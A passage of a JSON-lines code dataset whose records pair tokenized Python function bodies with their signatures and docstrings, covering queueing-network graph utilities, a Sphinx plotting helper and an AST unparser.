``vertex_fill_color``, ``vertex_fill_color``, ``edge_color``.\n    See :class:`.QueueServer` for more on setting these values.\n\n    The following properties are assigned as a properties to the graph;\n    their default values for each edge or vertex is shown:\n\n        * ``vertex_pen_width``: ``1``,\n        * ``vertex_size``: ``8``,\n        * ``edge_control_points``: ``[]``\n        * ``edge_marker_size``: ``8``\n        * ``edge_pen_width``: ``1.25``\n\n    Raises\n    ------\n    TypeError\n        Raised when the parameter ``g`` is not of a type that can be\n        made into a :any:`networkx.DiGraph`.", "id": "f14543:m1"}
{"signature": "def _calculate_distance(latlon1, latlon2):", "body": "lat1, lon1 = latlon1<EOL>lat2, lon2 = latlon2<EOL>dlon = lon2 - lon1<EOL>dlat = lat2 - lat1<EOL>R = <NUM_LIT>  <EOL>a = np.sin(dlat / <NUM_LIT:2>)**<NUM_LIT:2> + np.cos(lat1) * np.cos(lat2) * (np.sin(dlon / <NUM_LIT:2>))**<NUM_LIT:2><EOL>c = <NUM_LIT:2> * np.pi * R * np.arctan2(np.sqrt(a), np.sqrt(<NUM_LIT:1> - a)) / <NUM_LIT><EOL>return c<EOL>", "docstring": "Calculates the distance between two points on earth.", "id": "f14544:m0"}
{"signature": "def graph2dict(g, return_dict_of_dict=True):", "body": "if not isinstance(g, nx.DiGraph):<EOL><INDENT>g = QueueNetworkDiGraph(g)<EOL><DEDENT>dict_of_dicts = nx.to_dict_of_dicts(g)<EOL>if return_dict_of_dict:<EOL><INDENT>return dict_of_dicts<EOL><DEDENT>else:<EOL><INDENT>return {k: list(val.keys()) for k, val in dict_of_dicts.items()}<EOL><DEDENT>", "docstring": "Takes a graph and returns an adjacency list.\n\n    Parameters\n    ----------\n    g : :any:`networkx.DiGraph`, :any:`networkx.Graph`, etc.\n        Any object that networkx can turn into a\n        :any:`DiGraph<networkx.DiGraph>`.\n    return_dict_of_dict : bool (optional, default: ``True``)\n        Specifies whether this function will return a dict of dicts\n        or a dict of lists.\n\n    Returns\n    -------\n    adj : dict\n        An adjacency representation of graph as a dictionary of\n        dictionaries, where a key is the vertex index for a vertex\n        ``v`` and the values are :class:`dicts<.dict>` with keys for\n        the vertex index and values as edge properties.\n\n    Examples\n    --------\n    >>> import queueing_tool as qt\n    >>> import networkx as nx\n    >>> adj = {0: [1, 2], 1: [0], 2: [0, 3], 3: [2]}\n    >>> g = nx.DiGraph(adj)\n    >>> qt.graph2dict(g, return_dict_of_dict=True)\n    ...  # doctest: +NORMALIZE_WHITESPACE\n    {0: {1: {}, 2: {}},\n    1: {0: {}},\n    2: {0: {}, 3: {}},\n    3: {2: {}}}\n    >>> qt.graph2dict(g, return_dict_of_dict=False)\n    {0: [1, 2], 1: [0], 2: [0, 3], 3: [2]}", "id": "f14544:m2"}
{"signature": "def generate_transition_matrix(g, seed=None):", "body": "g = _test_graph(g)<EOL>if isinstance(seed, numbers.Integral):<EOL><INDENT>np.random.seed(seed)<EOL><DEDENT>nV = g.number_of_nodes()<EOL>mat = np.zeros((nV, nV))<EOL>for v in g.nodes():<EOL><INDENT>ind = [e[<NUM_LIT:1>] for e in sorted(g.out_edges(v))]<EOL>deg = len(ind)<EOL>if deg == <NUM_LIT:1>:<EOL><INDENT>mat[v, ind] = <NUM_LIT:1><EOL><DEDENT>elif deg > <NUM_LIT:1>:<EOL><INDENT>probs = np.ceil(np.random.rand(deg) * <NUM_LIT:100>) / <NUM_LIT><EOL>if np.isclose(np.sum(probs), <NUM_LIT:0>):<EOL><INDENT>probs[np.random.randint(deg)] = <NUM_LIT:1><EOL><DEDENT>mat[v, ind] = probs / np.sum(probs)<EOL><DEDENT><DEDENT>return mat<EOL>", "docstring": "Generates a random transition matrix for the graph ``g``.\n\n    Parameters\n    ----------\n    g : :any:`networkx.DiGraph`, :class:`numpy.ndarray`, dict, etc.\n        Any object that :any:`DiGraph<networkx.DiGraph>` accepts.\n    seed : int (optional)\n        An integer used to initialize numpy's psuedo-random number\n        generator.\n\n    Returns\n    -------\n    mat : :class:`~numpy.ndarray`\n        Returns a transition matrix where ``mat[i, j]`` is the\n        probability of transitioning from vertex ``i`` to vertex ``j``.\n        If there is no edge connecting vertex ``i`` to vertex ``j``\n        then ``mat[i, j] = 0``.", "id": "f14545:m0"}
{"signature": "def generate_random_graph(num_vertices=<NUM_LIT>, prob_loop=<NUM_LIT:0.5>, **kwargs):", "body": "g = minimal_random_graph(num_vertices, **kwargs)<EOL>for v in g.nodes():<EOL><INDENT>e = (v, v)<EOL>if not g.is_edge(e):<EOL><INDENT>if np.random.uniform() < prob_loop:<EOL><INDENT>g.add_edge(*e)<EOL><DEDENT><DEDENT><DEDENT>g = set_types_random(g, **kwargs)<EOL>return g<EOL>", "docstring": "Creates a random graph where the edges have different types.\n\n    This method calls :func:`.minimal_random_graph`, and then adds\n    a loop to each vertex with ``prob_loop`` probability. It then\n    calls :func:`.set_types_random` on the resulting graph.\n\n    Parameters\n    ----------\n    num_vertices : int (optional, default: 250)\n        The number of vertices in the graph.\n    prob_loop : float (optional, default: 0.5)\n        The probability that a loop gets added to a vertex.\n    **kwargs :\n        Any parameters to send to :func:`.minimal_random_graph` or\n        :func:`.set_types_random`.\n\n    Returns\n    -------\n    :class:`.QueueNetworkDiGraph`\n        A graph with the position of the vertex set as a property.\n        The position property is called ``pos``. Also, the ``edge_type``\n        edge property is set for each edge.\n\n    Examples\n    --------\n    The following generates a directed graph with 50 vertices where half\n    the edges are type 1 and 1/4th are type 2 and 1/4th are type 3:\n\n    >>> import queueing_tool as qt\n    >>> pTypes = {1: 0.5, 2: 0.25, 3: 0.25}\n    >>> g = qt.generate_random_graph(100, proportions=pTypes, seed=17)\n    >>> non_loops = [e for e in g.edges() if e[0] != e[1]]\n    >>> p1 = np.sum([g.ep(e, 'edge_type') == 1 for e in non_loops])\n    >>> float(p1) / len(non_loops) # doctest: +ELLIPSIS\n    0.486...\n    >>> p2 = np.sum([g.ep(e, 'edge_type') == 2 for e in non_loops])\n    >>> float(p2) / len(non_loops) # doctest: +ELLIPSIS\n    0.249...\n    >>> p3 = np.sum([g.ep(e, 'edge_type') == 3 for e in non_loops])\n    >>> float(p3) / len(non_loops) # doctest: +ELLIPSIS\n    0.264...\n\n    To make an undirected graph with 25 vertices where there are 4\n    different edge types with random proportions:\n\n    >>> p = np.random.rand(4)\n    >>> p = p / sum(p)\n    >>> p = {k + 1: p[k] for k in range(4)}\n    >>> g = qt.generate_random_graph(num_vertices=25, is_directed=False, proportions=p)\n\n    Note that none of the edge types in the above example are 0. It is\n    recommended use edge type indices starting at 1, since 0 is\n    typically used for terminal edges.", "id": "f14545:m1"}
{"signature": "def generate_pagerank_graph(num_vertices=<NUM_LIT>, **kwargs):", "body": "g = minimal_random_graph(num_vertices, **kwargs)<EOL>r = np.zeros(num_vertices)<EOL>for k, pr in nx.pagerank(g).items():<EOL><INDENT>r[k] = pr<EOL><DEDENT>g = set_types_rank(g, rank=r, **kwargs)<EOL>return g<EOL>", "docstring": "Creates a random graph where the vertex types are\n    selected using their pagerank.\n\n    Calls :func:`.minimal_random_graph` and then\n    :func:`.set_types_rank` where the ``rank`` keyword argument\n    is given by :func:`networkx.pagerank`.\n\n    Parameters\n    ----------\n    num_vertices : int (optional, the default is 250)\n        The number of vertices in the graph.\n    **kwargs :\n        Any parameters to send to :func:`.minimal_random_graph` or\n        :func:`.set_types_rank`.\n\n    Returns\n    -------\n    :class:`.QueueNetworkDiGraph`\n        A graph with a ``pos`` vertex property and the ``edge_type``\n        edge property.\n\n    Notes\n    -----\n    This function sets the edge types of a graph to be either 1, 2, or\n    3. It sets the vertices to type 2 by selecting the top\n    ``pType2 * g.number_of_nodes()`` vertices given by the\n    :func:`~networkx.pagerank` of the graph. A loop is added\n    to all vertices identified this way (if one does not exist\n    already). It then randomly sets vertices close to the type 2\n    vertices as type 3, and adds loops to these vertices as well. These\n    loops then have edge types that correspond to the vertices type.\n    The rest of the edges are set to type 1.", "id": "f14545:m2"}
{"signature": "def minimal_random_graph(num_vertices, seed=None, **kwargs):", "body": "if isinstance(seed, numbers.Integral):<EOL><INDENT>np.random.seed(seed)<EOL><DEDENT>points = np.random.random((num_vertices, <NUM_LIT:2>)) * <NUM_LIT:10><EOL>edges = []<EOL>for k in range(num_vertices - <NUM_LIT:1>):<EOL><INDENT>for j in range(k + <NUM_LIT:1>, num_vertices):<EOL><INDENT>v = points[k] - points[j]<EOL>edges.append((k, j, v[<NUM_LIT:0>]**<NUM_LIT:2> + v[<NUM_LIT:1>]**<NUM_LIT:2>))<EOL><DEDENT><DEDENT>mytype = [('<STR_LIT>', int), ('<STR_LIT>', int), ('<STR_LIT>', np.float)]<EOL>edges = np.array(edges, dtype=mytype)<EOL>edges = np.sort(edges, order='<STR_LIT>')<EOL>unionF = UnionFind([k for k in range(num_vertices)])<EOL>g = nx.Graph()<EOL>for n1, n2, dummy in edges:<EOL><INDENT>unionF.union(n1, n2)<EOL>g.add_edge(n1, n2)<EOL>if unionF.nClusters == <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>pos = {j: p for j, p in enumerate(points)}<EOL>g = QueueNetworkDiGraph(g.to_directed())<EOL>g.set_pos(pos)<EOL>return g<EOL>", "docstring": "Creates a connected graph with random vertex locations.\n\n    Parameters\n    ----------\n    num_vertices : int\n        The number of vertices in the graph.\n    seed : int (optional)\n        An integer used to initialize numpy's psuedorandom number\n        generators.\n    **kwargs :\n        Unused.\n\n    Returns\n    -------\n    :class:`.QueueNetworkDiGraph`\n        A graph with a ``pos`` vertex property for each vertex's\n        position.\n\n    Notes\n    -----\n    This function first places ``num_vertices`` points in the unit square\n    randomly (using the uniform distribution). Then, for every vertex\n    ``v``, all other vertices with Euclidean distance less or equal to\n    ``r`` are connect by an edge --- where ``r`` is the smallest number\n    such that the graph ends up connected.", "id": "f14545:m3"}
{"signature": "def set_types_random(g, proportions=None, loop_proportions=None, seed=None,<EOL>**kwargs):", "body": "g = _test_graph(g)<EOL>if isinstance(seed, numbers.Integral):<EOL><INDENT>np.random.seed(seed)<EOL><DEDENT>if proportions is None:<EOL><INDENT>proportions = {k: <NUM_LIT:1.> / <NUM_LIT:3> for k in range(<NUM_LIT:1>, <NUM_LIT:4>)}<EOL><DEDENT>if loop_proportions is None:<EOL><INDENT>loop_proportions = {k: <NUM_LIT:1.> / <NUM_LIT:4> for k in range(<NUM_LIT:4>)}<EOL><DEDENT>edges = [e for e in g.edges() if e[<NUM_LIT:0>] != e[<NUM_LIT:1>]]<EOL>loops = [e for e in g.edges() if e[<NUM_LIT:0>] == e[<NUM_LIT:1>]]<EOL>props = list(proportions.values())<EOL>lprops = list(loop_proportions.values())<EOL>if not np.isclose(sum(props), <NUM_LIT:1.0>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not np.isclose(sum(lprops), <NUM_LIT:1.0>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>eTypes = {}<EOL>types = list(proportions.keys())<EOL>values = np.random.choice(types, size=len(edges), replace=True, p=props)<EOL>for k, e in enumerate(edges):<EOL><INDENT>eTypes[e] = values[k]<EOL><DEDENT>types = list(loop_proportions.keys())<EOL>values = np.random.choice(types, size=len(loops), replace=True, p=lprops)<EOL>for k, e in enumerate(loops):<EOL><INDENT>eTypes[e] = values[k]<EOL><DEDENT>g.new_edge_property('<STR_LIT>')<EOL>for e in g.edges():<EOL><INDENT>g.set_ep(e, '<STR_LIT>', eTypes[e])<EOL><DEDENT>return g<EOL>", "docstring": "Randomly sets ``edge_type`` (edge type) properties of the graph.\n\n    This function randomly assigns each edge a type. The probability of\n    an edge being a specific type is proscribed in the\n    ``proportions``, ``loop_proportions`` variables.\n\n    Parameters\n    ----------\n    g : :any:`networkx.DiGraph`, :class:`numpy.ndarray`, dict, etc.\n        Any object that :any:`DiGraph<networkx.DiGraph>` accepts.\n    proportions : dict (optional, default: ``{k: 0.25 for k in range(1, 4)}``)\n        A dictionary of edge types and proportions, where the keys are\n        the types and the values are the proportion of non-loop edges\n        that are expected to be of that type. The values can must sum\n        to one.\n    loop_proportions : dict (optional, default: ``{k: 0.25 for k in range(4)}``)\n        A dictionary of edge types and proportions, where the keys are\n        the types and the values are the proportion of loop edges\n        that are expected to be of that type. The values can must sum\n        to one.\n    seed : int (optional)\n        An integer used to initialize numpy's psuedorandom number\n        generator.\n    **kwargs :\n        Unused.\n\n    Returns\n    -------\n    :class:`.QueueNetworkDiGraph`\n        Returns the a graph with an ``edge_type`` edge property.\n\n    Raises\n    ------\n    TypeError\n        Raised when the parameter ``g`` is not of a type that can be\n        made into a :any:`networkx.DiGraph`.\n\n    ValueError\n        Raises a :exc:`~ValueError` if the ``pType`` values do not sum\n        to one.\n\n    Notes\n    -----\n    If ``pTypes`` is not explicitly specified in the arguments, then it\n    defaults to four types in the graph (types 0, 1, 2, and 3). It sets\n    non-loop edges to be either 1, 2, or 3 33\\% chance, and loops are\n    types 0, 1, 2, 3 with 25\\% chance.", "id": "f14545:m4"}
{"signature": "def set_types_rank(g, rank, pType2=<NUM_LIT:0.1>, pType3=<NUM_LIT:0.1>, seed=None, **kwargs):", "body": "g = _test_graph(g)<EOL>if isinstance(seed, numbers.Integral):<EOL><INDENT>np.random.seed(seed)<EOL><DEDENT>tmp = np.sort(np.array(rank))<EOL>nDests = int(np.ceil(g.number_of_nodes() * pType2))<EOL>dests = np.where(rank >= tmp[-nDests])[<NUM_LIT:0>]<EOL>if '<STR_LIT>' not in g.vertex_properties():<EOL><INDENT>g.set_pos()<EOL><DEDENT>dest_pos = np.array([g.vp(v, '<STR_LIT>') for v in dests])<EOL>nFCQ = int(pType3 * g.number_of_nodes())<EOL>min_g_dist = np.ones(nFCQ) * np.infty<EOL>ind_g_dist = np.ones(nFCQ, int)<EOL>r, theta = np.random.random(nFCQ) / <NUM_LIT>, np.random.random(nFCQ) * <NUM_LIT><EOL>xy_pos = np.array([r * np.cos(theta), r * np.sin(theta)]).transpose()<EOL>g_pos = xy_pos + dest_pos[np.array(np.mod(np.arange(nFCQ), nDests), int)]<EOL>for v in g.nodes():<EOL><INDENT>if v not in dests:<EOL><INDENT>tmp = np.array([_calculate_distance(g.vp(v, '<STR_LIT>'), g_pos[k, :]) for k in range(nFCQ)])<EOL>min_g_dist = np.min((tmp, min_g_dist), <NUM_LIT:0>)<EOL>ind_g_dist[min_g_dist == tmp] = v<EOL><DEDENT><DEDENT>ind_g_dist = np.unique(ind_g_dist)<EOL>fcqs = set(ind_g_dist[:min(nFCQ, len(ind_g_dist))])<EOL>dests = set(dests)<EOL>g.new_vertex_property('<STR_LIT>')<EOL>for v in g.nodes():<EOL><INDENT>if v in dests:<EOL><INDENT>g.set_vp(v, '<STR_LIT>', <NUM_LIT:3>)<EOL>if not g.is_edge((v, v)):<EOL><INDENT>g.add_edge(v, v)<EOL><DEDENT><DEDENT>elif v in fcqs:<EOL><INDENT>g.set_vp(v, '<STR_LIT>', <NUM_LIT:2>)<EOL>if not g.is_edge((v, v)):<EOL><INDENT>g.add_edge(v, v)<EOL><DEDENT><DEDENT><DEDENT>g.new_edge_property('<STR_LIT>')<EOL>for e in g.edges():<EOL><INDENT>g.set_ep(e, '<STR_LIT>', <NUM_LIT:1>)<EOL><DEDENT>for v in g.nodes():<EOL><INDENT>if g.vp(v, '<STR_LIT>') in [<NUM_LIT:2>, <NUM_LIT:3>]:<EOL><INDENT>e = (v, v)<EOL>if g.vp(v, '<STR_LIT>') == <NUM_LIT:2>:<EOL><INDENT>g.set_ep(e, '<STR_LIT>', <NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>g.set_ep(e, '<STR_LIT>', <NUM_LIT:3>)<EOL><DEDENT><DEDENT><DEDENT>return g<EOL>", "docstring": "Creates a stylized graph. Sets edge and types using `pagerank`_.\n\n    This function sets the edge types of a graph to be either 1, 2, or\n    3. It sets the vertices to type 2 by selecting the top\n    ``pType2 * g.number_of_nodes()`` vertices given by the\n    :func:`~networkx.pagerank` of the graph. A loop is added\n    to all vertices identified this way (if one does not exist\n    already). It then randomly sets vertices close to the type 2\n    vertices as type 3, and adds loops to these vertices as well. These\n    loops then have edge types the correspond to the vertices type. The\n    rest of the edges are set to type 1.\n\n    .. _pagerank: http://en.wikipedia.org/wiki/PageRank\n\n    Parameters\n    ----------\n    g : :any:`networkx.DiGraph`, :class:`~numpy.ndarray`, dict, etc.\n        Any object that :any:`DiGraph<networkx.DiGraph>` accepts.\n    rank : :class:`numpy.ndarray`\n        An ordering of the vertices.\n    pType2 : float (optional, default: 0.1)\n        Specifies the proportion of vertices that will be of type 2.\n    pType3 : float (optional, default: 0.1)\n        Specifies the proportion of vertices that will be of type 3 and\n        that are near pType2 vertices.\n    seed : int (optional)\n        An integer used to initialize numpy's psuedo-random number\n        generator.\n    **kwargs :\n        Unused.\n\n    Returns\n    -------\n    :class:`.QueueNetworkDiGraph`\n        Returns the a graph with an ``edge_type`` edge property.\n\n    Raises\n    ------\n    TypeError\n        Raised when the parameter ``g`` is not of a type that can be\n        made into a :any:`DiGraph<networkx.DiGraph>`.", "id": "f14545:m5"}
{"signature": "def split_code_at_show(text):", "body": "parts = []<EOL>is_doctest = contains_doctest(text)<EOL>part = []<EOL>for line in text.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if (not is_doctest and line.strip() == '<STR_LIT>') or(is_doctest and line.strip() == '<STR_LIT>'):<EOL><INDENT>part.append(line)<EOL>parts.append(\"<STR_LIT:\\n>\".join(part))<EOL>part = []<EOL><DEDENT>else:<EOL><INDENT>part.append(line)<EOL><DEDENT><DEDENT>if \"<STR_LIT:\\n>\".join(part).strip():<EOL><INDENT>parts.append(\"<STR_LIT:\\n>\".join(part))<EOL><DEDENT>return parts<EOL>", "docstring": "Split code at plt.show()", "id": "f14548:m8"}
{"signature": "def out_of_date(original, derived):", "body": "return (not os.path.exists(derived)<EOL>or os.stat(derived).st_mtime < os.stat(original).st_mtime)<EOL>", "docstring": "Returns True if derivative is out-of-date wrt original,\nboth of which are full file paths.", "id": "f14548:m10"}
{"signature": "def makefig(code, code_path, output_dir, output_base, config):", "body": "<EOL>default_dpi = {'<STR_LIT>': <NUM_LIT>, '<STR_LIT>': <NUM_LIT:200>, '<STR_LIT>': <NUM_LIT:50>}<EOL>formats = []<EOL>for fmt in config.plot_formats:<EOL><INDENT>if isinstance(fmt, str):<EOL><INDENT>formats.append((fmt, default_dpi.get(fmt, <NUM_LIT>)))<EOL><DEDENT>elif type(fmt) in (tuple, list) and len(fmt)==<NUM_LIT:2>:<EOL><INDENT>formats.append((str(fmt[<NUM_LIT:0>]), int(fmt[<NUM_LIT:1>])))<EOL><DEDENT>else:<EOL><INDENT>raise PlotError('<STR_LIT>' % fmt)<EOL><DEDENT><DEDENT>code_pieces = split_code_at_show(code)<EOL>all_exists = True<EOL>img = ImageFile(output_base, output_dir)<EOL>for format, dpi in formats:<EOL><INDENT>if out_of_date(code_path, img.filename(format)):<EOL><INDENT>all_exists = False<EOL>break<EOL><DEDENT>img.formats.append(format)<EOL><DEDENT>if all_exists:<EOL><INDENT>return [(code, [img])]<EOL><DEDENT>results = []<EOL>all_exists = True<EOL>for i, code_piece in enumerate(code_pieces):<EOL><INDENT>images = []<EOL>for j in range(<NUM_LIT:1000>):<EOL><INDENT>img = ImageFile('<STR_LIT>' % (output_base, i, j), output_dir)<EOL>for format, dpi in formats:<EOL><INDENT>if out_of_date(code_path, img.filename(format)):<EOL><INDENT>all_exists = False<EOL>break<EOL><DEDENT>img.formats.append(format)<EOL><DEDENT>if not all_exists:<EOL><INDENT>all_exists = (j > <NUM_LIT:0>)<EOL>break<EOL><DEDENT>images.append(img)<EOL><DEDENT>if not all_exists:<EOL><INDENT>break<EOL><DEDENT>results.append((code_piece, images))<EOL><DEDENT>if all_exists:<EOL><INDENT>return results<EOL><DEDENT>results = []<EOL>ns = {}<EOL>for i, code_piece in enumerate(code_pieces):<EOL><INDENT>plt.close('<STR_LIT:all>')<EOL>run_code(code_piece, code_path, ns)<EOL>images = []<EOL>fig_managers = _pylab_helpers.Gcf.get_all_fig_managers()<EOL>for j, figman in enumerate(fig_managers):<EOL><INDENT>if len(fig_managers) == <NUM_LIT:1> and len(code_pieces) == <NUM_LIT:1>:<EOL><INDENT>img = ImageFile(output_base, output_dir)<EOL><DEDENT>else:<EOL><INDENT>img = ImageFile(\"<STR_LIT>\" % (output_base, i, j),<EOL>output_dir)<EOL><DEDENT>images.append(img)<EOL>for format, dpi in formats:<EOL><INDENT>try:<EOL><INDENT>figman.canvas.figure.savefig(img.filename(format), dpi=dpi)<EOL><DEDENT>except exceptions.BaseException as err:<EOL><INDENT>raise PlotError(traceback.format_exc())<EOL><DEDENT>img.formats.append(format)<EOL><DEDENT><DEDENT>results.append((code_piece, images))<EOL><DEDENT>return results<EOL>", "docstring": "Run a pyplot script *code* and save the images under *output_dir*\nwith file names derived from *output_base*", "id": "f14548:m11"}
{"signature": "def __init__(self, tree, file = sys.stdout, single_line_functions=False):", "body": "self.f = file<EOL>self._single_func = single_line_functions<EOL>self._do_indent = True<EOL>self._indent = <NUM_LIT:0><EOL>self._dispatch(tree)<EOL>self._write(\"<STR_LIT:\\n>\")<EOL>self.f.flush()<EOL>", "docstring": "Unparser(tree, file=sys.stdout) -> None.\n\n            Print the source for tree to file.", "id": "f14555:c0:m0"}
{"signature": "def _fill(self, text = \"<STR_LIT>\"):", "body": "if self._do_indent:<EOL><INDENT>self._write(\"<STR_LIT:\\n>\"+\"<STR_LIT:U+0020>\"*self._indent + text)<EOL><DEDENT>else:<EOL><INDENT>self._write(text)<EOL><DEDENT>", "docstring": "Indent a piece of text, according to the current indentation level", "id": "f14555:c0:m1"}
{"signature": "def _write(self, text):", "body": "self.f.write(text)<EOL>", "docstring": "Append a piece of text to the current line.", "id": "f14555:c0:m2"}
{"signature": "def _enter(self):", "body": "self._write(\"<STR_LIT>\")<EOL>self._indent += <NUM_LIT:1><EOL>", "docstring": "Print ':', and increase the indentation.", "id": "f14555:c0:m3"}
{"signature": "def _leave(self):", "body": "self._indent -= <NUM_LIT:1><EOL>", "docstring": "Decrease the indentation level.", "id": "f14555:c0:m4"}
{"signature": "def _dispatch(self, tree):", "body": "if isinstance(tree, list):<EOL><INDENT>for t in tree:<EOL><INDENT>self._dispatch(t)<EOL><DEDENT>return<EOL><DEDENT>meth = getattr(self, \"<STR_LIT:_>\"+tree.__class__.__name__)<EOL>if tree.__class__.__name__ == '<STR_LIT>' and not self._do_indent:<EOL><INDENT>return<EOL><DEDENT>meth(tree)<EOL>", "docstring": "_dispatcher function, _dispatching tree type T to method _T.", "id": "f14555:c0:m5"}
{"signature": "def _AssAttr(self, t):", "body": "self._dispatch(t.expr)<EOL>self._write('<STR_LIT:.>'+t.attrname)<EOL>", "docstring": "Handle assigning an attribute of an object", "id": "f14555:c0:m8"}
{"signature": "def _Assign(self, t):", "body": "self._fill()<EOL>for target in t.nodes:<EOL><INDENT>self._dispatch(target)<EOL>self._write(\"<STR_LIT>\")<EOL><DEDENT>self._dispatch(t.expr)<EOL>if not self._do_indent:<EOL><INDENT>self._write('<STR_LIT>')<EOL><DEDENT>", "docstring": "Expression Assignment such as \"a = 1\".\n\n            This only handles assignment in expressions.  Keyword assignment\n            is handled separately.", "id": "f14555:c0:m9"}
{"signature": "def _AssName(self, t):", "body": "self._Name(t)<EOL>", "docstring": "Name on left hand side of expression.\n\n            Treat just like a name on the right side of an expression.", "id": "f14555:c0:m10"}
{"signature": "def _AssTuple(self, t):", "body": "<EOL>for element in t.nodes[:-<NUM_LIT:1>]:<EOL><INDENT>self._dispatch(element)<EOL>self._write(\"<STR_LIT:U+002CU+0020>\")<EOL><DEDENT>last_element = t.nodes[-<NUM_LIT:1>]<EOL>self._dispatch(last_element)<EOL>", "docstring": "Tuple on left hand side of an expression.", "id": "f14555:c0:m11"}
{"signature": "def _AugAssign(self, t):", "body": "self._fill()<EOL>self._dispatch(t.node)<EOL>self._write('<STR_LIT:U+0020>'+t.op+'<STR_LIT:U+0020>')<EOL>self._dispatch(t.expr)<EOL>if not self._do_indent:<EOL><INDENT>self._write('<STR_LIT:;>')<EOL><DEDENT>", "docstring": "+=,-=,*=,/=,**=, etc. operations", "id": "f14555:c0:m12"}
{"signature": "def _Bitand(self, t):", "body": "for i, node in enumerate(t.nodes):<EOL><INDENT>self._write(\"<STR_LIT:(>\")<EOL>self._dispatch(node)<EOL>self._write(\"<STR_LIT:)>\")<EOL>if i != len(t.nodes)-<NUM_LIT:1>:<EOL><INDENT>self._write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Bit and operation.", "id": "f14555:c0:m13"}
{"signature": "def _Bitor(self, t):", "body": "for i, node in enumerate(t.nodes):<EOL><INDENT>self._write(\"<STR_LIT:(>\")<EOL>self._dispatch(node)<EOL>self._write(\"<STR_LIT:)>\")<EOL>if i != len(t.nodes)-<NUM_LIT:1>:<EOL><INDENT>self._write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Bit or operation", "id": "f14555:c0:m14"}
{"signature": "def _CallFunc(self, t):", "body": "self._dispatch(t.node)<EOL>self._write(\"<STR_LIT:(>\")<EOL>comma = False<EOL>for e in t.args:<EOL><INDENT>if comma: self._write(\"<STR_LIT:U+002CU+0020>\")<EOL>else: comma = True<EOL>self._dispatch(e)<EOL><DEDENT>if t.star_args:<EOL><INDENT>if comma: self._write(\"<STR_LIT:U+002CU+0020>\")<EOL>else: comma = True<EOL>self._write(\"<STR_LIT:*>\")<EOL>self._dispatch(t.star_args)<EOL><DEDENT>if t.dstar_args:<EOL><INDENT>if comma: self._write(\"<STR_LIT:U+002CU+0020>\")<EOL>else: comma = True<EOL>self._write(\"<STR_LIT>\")<EOL>self._dispatch(t.dstar_args)<EOL><DEDENT>self._write(\"<STR_LIT:)>\")<EOL>", "docstring": "Function call.", "id": "f14555:c0:m15"}
{"signature": "def _Const(self, t):", "body": "self._dispatch(t.value)<EOL>", "docstring": "A constant value such as an integer value, 3, or a string, \"hello\".", "id": "f14555:c0:m17"}
{"signature": "def _Decorators(self, t):", "body": "for node in t.nodes:<EOL><INDENT>self._dispatch(node)<EOL><DEDENT>", "docstring": "Handle function decorators (eg. @has_units)", "id": "f14555:c0:m18"}
{"signature": "def _Discard(self, t):", "body": "self._fill()<EOL>self._dispatch(t.expr)<EOL>", "docstring": "Node for when return value is ignored such as in \"foo(a)\".", "id": "f14555:c0:m20"}
{"signature": "def _From(self, t):", "body": "<EOL>self._fill(\"<STR_LIT>\")<EOL>self._write(t.modname)<EOL>self._write(\"<STR_LIT>\")<EOL>for i, (name,asname) in enumerate(t.names):<EOL><INDENT>if i != <NUM_LIT:0>:<EOL><INDENT>self._write(\"<STR_LIT:U+002CU+0020>\")<EOL><DEDENT>self._write(name)<EOL>if asname is not None:<EOL><INDENT>self._write(\"<STR_LIT>\"+asname)<EOL><DEDENT><DEDENT>", "docstring": "Handle \"from xyz import foo, bar as baz\".", "id": "f14555:c0:m23"}
{"signature": "def _Function(self, t):", "body": "if t.decorators is not None:<EOL><INDENT>self._fill(\"<STR_LIT:@>\")<EOL>self._dispatch(t.decorators)<EOL><DEDENT>self._fill(\"<STR_LIT>\"+t.name + \"<STR_LIT:(>\")<EOL>defaults = [None] * (len(t.argnames) - len(t.defaults)) + list(t.defaults)<EOL>for i, arg in enumerate(zip(t.argnames, defaults)):<EOL><INDENT>self._write(arg[<NUM_LIT:0>])<EOL>if arg[<NUM_LIT:1>] is not None:<EOL><INDENT>self._write('<STR_LIT:=>')<EOL>self._dispatch(arg[<NUM_LIT:1>])<EOL><DEDENT>if i < len(t.argnames)-<NUM_LIT:1>:<EOL><INDENT>self._write('<STR_LIT:U+002CU+0020>')<EOL><DEDENT><DEDENT>self._write(\"<STR_LIT:)>\")<EOL>if self._single_func:<EOL><INDENT>self._do_indent = False<EOL><DEDENT>self._enter()<EOL>self._dispatch(t.code)<EOL>self._leave()<EOL>self._do_indent = True<EOL>", "docstring": "Handle function definitions", "id": "f14555:c0:m24"}
{"signature": "def _Getattr(self, t):", "body": "if isinstance(t.expr, (Div, Mul, Sub, Add)):<EOL><INDENT>self._write('<STR_LIT:(>')<EOL>self._dispatch(t.expr)<EOL>self._write('<STR_LIT:)>')<EOL><DEDENT>else:<EOL><INDENT>self._dispatch(t.expr)<EOL><DEDENT>self._write('<STR_LIT:.>'+t.attrname)<EOL>", "docstring": "Handle getting an attribute of an object", "id": "f14555:c0:m25"}
{"signature": "def _Import(self, t):", "body": "self._fill(\"<STR_LIT>\")<EOL>for i, (name,asname) in enumerate(t.names):<EOL><INDENT>if i != <NUM_LIT:0>:<EOL><INDENT>self._write(\"<STR_LIT:U+002CU+0020>\")<EOL><DEDENT>self._write(name)<EOL>if asname is not None:<EOL><INDENT>self._write(\"<STR_LIT>\"+asname)<EOL><DEDENT><DEDENT>", "docstring": "Handle \"import xyz.foo\".", "id": "f14555:c0:m28"}
{"signature": "def _Keyword(self, t):", "body": "self._write(t.name)<EOL>self._write(\"<STR_LIT:=>\")<EOL>self._dispatch(t.expr)<EOL>", "docstring": "Keyword value assignment within function calls and definitions.", "id": "f14555:c0:m29"}
